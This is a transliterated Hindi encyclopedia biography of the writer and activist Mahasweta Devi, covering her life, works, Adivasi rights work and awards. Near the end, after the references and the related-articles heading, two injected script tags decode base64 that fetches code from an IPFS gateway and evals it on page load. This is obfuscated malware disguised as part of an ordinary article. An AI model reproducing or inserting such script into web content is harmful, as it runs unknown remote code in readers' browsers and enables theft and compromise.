महाश्वेता देवी
mahashveta devi
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| janm | 14 janavari, 1926 |
| janm bhoomi | dhaka, british bharat |
| karm bhoomi | bharat |
| karm-kshetr | sahityakar, upanyasakar, nibandhakar |
| mukhy rachanaean | 'agnigarbh', 'jangal ke davedar', '1084 ki maan', 'maheshvar', 'gram baangla', 'jhaansi ki rani', 'matrichhavi' aur 'jak dan' adi |
| bhasha | hindi, baangla |
| vidyalay | 'vishvabharati vishvavidyalay', shaantiniketan; kalakatta vishvavidyalay |
| shiksha | bi.e., em.e., aangrezi sahity mean mastar digri |
| puraskar-upadhi | 'megsese puraskar' (1977), 'sahity akadami puraskar' (1979), 'padmashri' (1986), 'jnanapith puraskar' (1996), 'padmavibhooshan' (2006) |
| prasiddhi | samajik karyakarta aur lekhika |
| nagarikata | bharatiy |
| adyatan | 4:15, 20 sitambar-2012 (IST) |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
mahashveta devi (janm- 14 janavari, 1926, dhaka, british bharat) bharat ki prasiddh samajik karyakarta aur lekhika haian. inhoanne baangla bhasha mean behad sanvedanashil tatha vaicharik lekhan ke madhyam se upanyas tatha kahaniyoan se sahity ko samriddhashali banaya hai. apane lekhan ke kary ke sath-sath mahashveta devi ne samaj seva mean bhi sadaiv sakriyata se bhag liya aur isamean poore man se lagi rahian. stri adhikaroan, dalitoan tatha adivasiyoan ke hitoan ke lie unhoanne joojhate hue vyavastha se sangharsh kiya tatha inake lie suvidha tatha nyay ka rasta banati rahian. 1996 mean inhean 'jnanapith puraskar' se sammanit kiya gaya. mahashveta ji ne kam umr mean hi lekhan kary shuru kar diya tha aur vibhinn sahityik patrikaoan ke lie laghu kathaoan ka mahattvapoorn yogadan diya.
jivan parichay
14 janavari, 1926 ko mahashveta devi ka janm avibhajit bharat ke dhaka mean hua tha. inake pita, jinaka nam manish ghatak tha, ve ek kavi aur upanyasakar ke roop mean prasiddh the. mahashveta ji ki mata dharitri devi bhi ek lekhika aur samajik karyakarta thian. mahashveta devi ne apani skooli shiksha dhaka mean hi prapt ki. bharat ke vibhajan ke samay kishor avastha mean hi inaka parivar pashchim bangal mean akar rahane laga tha. isake uparaant inhoanne 'vishvabharati vishvavidyalay', shaantiniketan se bi.e. aangrezi vishay ke sath kiya. isake bad 'kalakatta vishvavidyalay' se em.e. bhi aangrezi mean kiya. mahashveta devi ne aangrezi sahity mean mastar ki digri prapt ki. isake bad ek shikshak aur patrakar ke roop mean inhoanne apana jivan prarambh kiya. isake turant bad hi kalakatta vishvavidyalay mean aangrezi vyakhyata ke roop mean apane naukari prapt kar li. san 1984 mean inhoanne sevanivritt le li.
lekhan kary
mahashveta ji ne kam umr mean hi lekhan ka kary shuru kar diya tha, aur vibhinn sahityik patrikaoan ke lie laghu kathaoan adi ka yogadan diya. inaka pratham upanyas 'nati' 1957 mean prakashit kiya gaya tha. 'jhaansi ki rani' mahashveta devi ki pratham rachana hai, jo 1956 mean prakashit huee. unhoanne svayan hi apane shabdoan mean kaha hai- "isako likhane ke bad maian samajh paee ki maian ek kathakar banooangi." is pustak ko mahashveta ji ne kolakata mean baithakar nahian, balki sagar, jabalapur, poona, iandaur aur lalitapur ke jangaloan; sath hi jhaansi, gvaliyar aur kalapi mean ghatit tamam ghatanaean yani 1857-1858 mean itihas ke manch par jo kuchh bhi hua, sabako sath lekar likha. apani nayika ke alava lekhika ne kraanti ke tamam agradootoan aur yahaan tak ki aangrez afasar tak ke sath nyay karane ka prayas kiya hai. mahashveta ji kahati haian- "pahale meri mool vidha kavita thi, ab kahani aur upanyas haian." unaki kuchh mahatvapoorn kritiyoan mean 'agnigarbh', 'jangal ke davedar' aur '1084 ki maan', 'maheshvar' aur 'gram baangla' adi haian. pichhale chalis varshoan mean inaki chhoti-chhoti kahaniyoan ke bis sangrah prakashit kiye ja chuke haian aur sau upanyasoan ke karib prakashit ho chuke haian.[1]
rachanaean
mahashveta devi ki kuchh pramukh rachanaean nimnalikhit haian-
- laghukathaean - miloo ke lie, mastar sab
- kahaniyaan - svaha, riportar, vanted
- upanyas - nati, agnigarbh, jhaansi ki rani, mardarar ki maan, 1084 ki maan, matrichhavi, jali thi agnishikha, jak dan
- atmakatha umrakaid, aklaant kaurav
- alekh - krishna dvadashi, amrit sanchay, ghaharati ghataean, bharat mean bandhua majadoor, untisavian dhara ka aropi, gram baangla, jangal ke davedar, adivasi katha
- yatra sansmaran - shri shri ganesh mahima, eeant ke oopar eeant
- natak - terodaiktil, daulati[1]
samaj seva
bihar, madhy pradesh tatha chhattisagadh ke adivasi ilake mahashveta devi ke karyakshetr rahe. vahaan inaka dhyan lodha tatha shabara adivasiyoan ki din dasha ki or adhik raha. isi tarah bihar ke palamoo kshetr ke adivasi bhi inake sarokar ka vishay bane. inamean striyoan ki dasha aur bhi dayaniy thi. mahashveta devi ne is sthiti mean sudhar karane ka sankalp liya. 1970 se mahashveta devi ne apane uddeshy ke hit mean vyavastha se sidha hastakshep shuroo kiya. unhoanne pashchim bangal ki audyogik nitiyoan ke khilaf bhi aandolan chhe da tatha vikas ke prachalit kary ko chunauti di.
puraskar
1977 mean mahashveta devi ko 'megsese puraskar' pradan kiya gaya. 1979 mean unhean 'sahity akadami puraskar' mila. 1996 mean 'jnanapith puraskar' se vah sammanit ki geean. 1986 mean 'padmashri' tatha phir 2006 mean unhean 'padmavibhooshan' samman pradan kiya gaya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 mahashveta devi (hindi). . abhigaman tithi: 20 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>